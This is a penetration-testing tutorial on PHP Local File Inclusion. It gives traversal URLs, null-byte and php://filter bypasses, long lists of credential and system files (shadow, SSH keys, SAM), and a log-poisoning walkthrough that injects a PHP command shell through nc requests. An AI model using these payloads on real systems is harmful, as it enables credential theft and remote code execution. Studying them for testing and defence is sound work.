Local File Inclusion (LFI)

Local file inclusion means unauthorized access to files on the system. This vulnerability lets the attacker gain access to sensitive files on the server, and it might also lead to gaining a shell.

How does it work?

The vulnerability stems from unsanitized user-input. LFI is particularly common in php-sites.

Here is an example of php-code vulnerable to LFI. As you can see we just pass in the url-parameter into the require-function without any sanitization. So the user can just add the path to any file.

```
$file = $_GET['page'];
require($file);
```

In this example the user could just enter this string and retrieve the `/etc/passwd` file.

```
http://example.com/page=../../../../../../etc/passwd
```

Bypassing the added .php and other extra file-endings

It is common to add the file-extension through the php-code. Here is how this would look like:

```
$file = $_GET['page'];
require($file . ".php");
```

The php is added to the filename, this will mean that we will not be able to find the files we are looking for. Since the file `/etc/passwd.php` does not exist. However, if we add the nullbyte to the end of our attack-string the `.php` will not be taken into account. So we add `%00` to the end of our attack-string.

```
http://example.com/page=../../../../../../etc/passwd%00
```

This technique is usually called the nullbyte technique since `%00` is the nullbyte. The technique only works in versions below php 5.3. So look out for that.

Another way to deal with this problem is just to add a question mark to your attack-string. This way the stuff after gets interpreted as a parameter and therefore excluded. Here is an example:

```
http://example.com/page=../../../../../../etc/passwd?
```

Bypassing php-execution

So if you have an LFI you can easily read `.txt`-files but not `.php` files. That is because they get executed by the webserver, since their file-ending says that it contains code. This can be bypassed by using a build-in php-filter.

```
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index
```

Here you use a php-filter to convert it all into base64. So in return you get the whole page base64 encoded. Now you only need to decode it. Save the base64-text into a file and then run:

```
base64 -d savefile.php
```

Linux

Tricks

Download config-files in a nice style-format

If you read files straight in the browser the styling can becomes unbearable. Really difficult to read. A way around it is to download the files from the terminal. But that won't work if there is a login that is blocking it. So this is a great workaround:

```
# First we save the cookie
curl -s http://example.com/login.php -c cookiefile -d "user=admin&pass=admin"
curl -s http://example.com/gallery.php?page=/etc/passwd -b cookiefile
```

Sensitive file

This is the default layout of important apache files.
https://wiki.apache.org/httpd/DistrosDefaultLayout

```
/etc/issue (A message or system identification to be printed before the login prompt.)
/etc/motd (Message of the day banner content. Can contain information about the system owners or use of the system.)
/etc/passwd
/etc/group
/etc/resolv.conf (might be better than /etc/passwd for triggering IDS sigs)
/etc/shadow
/home/[USERNAME]/.bash_history or .profile
~/.bash_history or .profile
$USER/.bash_history or .profile
/root/.bash_history or .profile
```

Comes from here: https://gist.github.com/sckalath/a8fd4e754a72015aa0b8

```
/etc/mtab
/etc/inetd.conf
/var/log/dmessage
```

Web server files

```
# Usually found in the root of the website
.htaccess
config.php
```

SSH

```
authorized_keys
id_rsa
id_rsa.keystore
id_rsa.pub
known_hosts
```

Logs

```
/etc/httpd/logs/acces_log
/etc/httpd/logs/error_log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_ log
/usr/local/apache/logs/access. log
/var/log/apache/access_log
/var/log/apache2/access_log
/var/log/apache/access.log
/var/log/apache2/access.log
/var/log/access_log
```

User specific files

Found in the home-directory

```
.bash_history
.mysql_history
.my.cnf
```

Proc files

"Under Linux, /proc includes a directory for each running process, including kernel processes, in directories named /proc/PID, where PID is the process number. Each directory contains information about one process, including: /proc/PID/cmdline, the command that originally started the process."

https://en.wikipedia.org/wiki/Procfs

https://blog.netspi.com/directory-traversal-file-inclusion-proc-file-system/

```
/proc/sched_debug # Can be used to see what processes the machine is running
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version
/proc/self/environ
```

Bruteforcing SSH known_hosts

https://blog.rootshell.be/2010/11/03/bruteforcing-ssh-known_hosts-files/

LFI to shell

Under the right circumstances you might be able to get a shell from a LFI

Log poisoning

There are some requirements. We need to be able to read log files. In this example we are going to poison the apache log file. You can use either the success.log or the error.log

So once you have found a LFI vuln you have to inject php-code into the log file and then execute it.

Insert php-code into the log file

This can be done with nc or telnet.

```
nc 192.168.1.102 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.1.102
Connection: close
```

You can also add it to the error-log by making a request to a page that doesn't exists

```
nc 192.168.1.102 80
GET /AAAAAA<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.1.102
Connection: close
```

Or in the referer parameter.

```
GET / HTTP/1.1
Referer: <? passthru($_GET[cmd]) ?>
Host: 192.168.1.159
Connection: close
```

Execute it in the browser

Now you can request the log-file through the LFI and see the php-code get executed.

```
http://192.168.1.102/index.php?page=../../../../../var/log/apache2/access.log&cmd=id
```

Proc files

If you can read the proc-files on the system you might be able to poison them through the user-agent.

We can also inject code into /proc/self/environ through the user-agent

https://www.exploit-db.com/papers/12992/

https://www.youtube.com/watch?v=ttTVNcPnsJY

Windows

Fingerprinting

```
c:\WINDOWS\system32\eula.txt
c:\boot.ini
c:\WINDOWS\win.ini
c:\WINNT\win.ini
c:\WINDOWS\Repair\SAM
c:\WINDOWS\php.ini
c:\WINNT\php.ini
c:\Program Files\Apache Group\Apache\conf\httpd.conf
c:\Program Files\Apache Group\Apache2\conf\httpd.conf
c:\Program Files\xampp\apache\conf\httpd.conf
c:\php\php.ini
c:\php5\php.ini
c:\php4\php.ini
c:\apache\php\php.ini
c:\xampp\apache\bin\php.ini
c:\home2\bin\stable\apache\php.ini
c:\home\bin\stable\apache\php.ini
```

Logs

Common path for apache log files on windows:

```
c:\Program Files\Apache Group\Apache\logs\access.log
c:\Program Files\Apache Group\Apache\logs\error.log
```

PHP Session Locations

```
c:\WINDOWS\TEMP\
c:\php\sessions\
c:\php5\sessions\
c:\php4\sessions\
```

Retrieving password hashes

In order to retrieve the systems password hashed we need two files: **system** and **SAM**. Once you have those two files you can extract the hased using the kali tool pwdump, like this:

```
pwdump systemfile samfile
```

The system and SAM files can be found in different locations, so try them all. From a webserver the path might be case-sensitive, even though it is windows. So consider that!

```
Systemroot is usually windows
windows\repair\SAM
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM


%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
```

References:

This is the definitive guide to Local File inclusion
https://highon.coffee/blog/lfi-cheat-sheet/

And this
http://securityidiots.com/Web-Pentest/LFI

And this:

https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/

https://nets.ec/File_Inclusion

https://gist.github.com/sckalath/da1a232f362a700ab459